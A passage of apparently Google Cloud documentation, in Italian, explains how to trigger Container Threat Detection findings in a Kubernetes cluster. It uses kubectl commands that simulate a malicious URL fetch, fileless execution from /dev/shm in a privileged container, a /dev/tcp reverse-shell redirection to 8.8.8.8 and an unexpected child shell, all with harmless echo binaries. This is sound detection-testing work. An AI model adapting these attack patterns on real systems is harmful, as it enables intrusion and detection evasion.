      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
            --restart=Never \
            --rm=true -i \
            --image marketplace.gcr.io/google/ubuntu2404:latest \
            --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
            {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
            "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
            "value": "arm64" } ]}}' \
            "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      

Questa procedura di test attiva un risultato URL dannoso osservato che puoi visualizzare in Security Command Center e, se hai configurato la registrazione per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Escalation dei privilegi: esecuzione senza file in /dev/shm

Per attivare un risultato Privilege Escalation: Fileless Execution in /dev/shm, un processo deve essere eseguito dal file system in memoria /dev/shm. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. L'utilità /bin/echo viene copiata in /dev/shm/echo. Viene quindi eseguito il file binario rinominato. L'esecuzione di un file in /dev/shm viene segnalata come sospetta perché imita il comportamento di un oggetto che tenta di essere eseguito in memoria per evitare rilevamenti basati su file.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Crea un container con privilegi e apri bash per eseguire i comandi:

    • Nodo x86:

      tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -it \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \
         "$tag" -- bash
      
    • Nodo ARM:

      tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -it \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash
      
  4. Copia echo in /dev/shm e rendilo eseguibile utilizzando chmod

      cp /bin/echo /dev/shm
      chmod 777 /dev/shm/echo
    
  5. Rimonta /dev/shm per abilitare l'esecuzione

      mount -o remount,exec /dev/shm
    
  6. Esegui echo da /dev/shm

      /dev/shm/echo "Hello from /dev/shm"
    

Questa procedura di test dovrebbe creare un risultato Privilege Escalation: Fileless Execution in /dev/shm che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Shell inversa

Per attivare un risultato Reverse Shell, avvia un binario con il reindirizzamento stdin a un socket connesso TCP. Questo esempio copia /bin/echo in /tmp/sh, poi avvia /tmp/sh con il reindirizzamento a Google Public DNS 8.8.8.8 sulla porta DNS. Quando esegui questo esempio, non viene stampato nulla. Per evitare l'iniezione di codice esterno tramite un attacco man-in-the-middle (MITM), questo esempio non utilizza il binario /bin/sh.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Avvia un binario con il reindirizzamento /bin/echo a Google Public DNS:

    • Nodo x86:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      
    • Nodo ARM:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      

Questa procedura di test crea un risultato Reverse Shell che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Shell secondaria imprevista

Per testare il rilevatore Unexpected Child Shell, puoi creare un albero dei processi che includa un processo shell secondario.

L'esempio seguente crea un albero dei processi consul->dash, che può essere rilevato dal rilevatore Unexpected Child Shell. Questo test è sicuro perché utilizza solo file binari integrati. Questo esempio esegue le seguenti operazioni:

  1. Crea una copia del processo sh e la denomina consul.
  2. Copia il processo echo e lo denomina dash.
  3. Richiama il processo dash copiato nel processo consul copiato.

Per attivare un risultato Unexpected Child Shell:

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Utilizza la procedura consul di simulazione per richiamare una shell simulata:

    • Nodo x86:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu "$tag" \
         --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      
    • Nodo ARM:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      

Questa procedura di test crea un risultato Unexpected Child Shell che puoi visualizzare in Security Command Center. Se la registrazione è configurata per Container Threat Detection e hai attivato Security Command Center Premium o Enterprise a livello di organizzazione, puoi visualizzare il risultato anche in Cloud Logging.

Passaggi successivi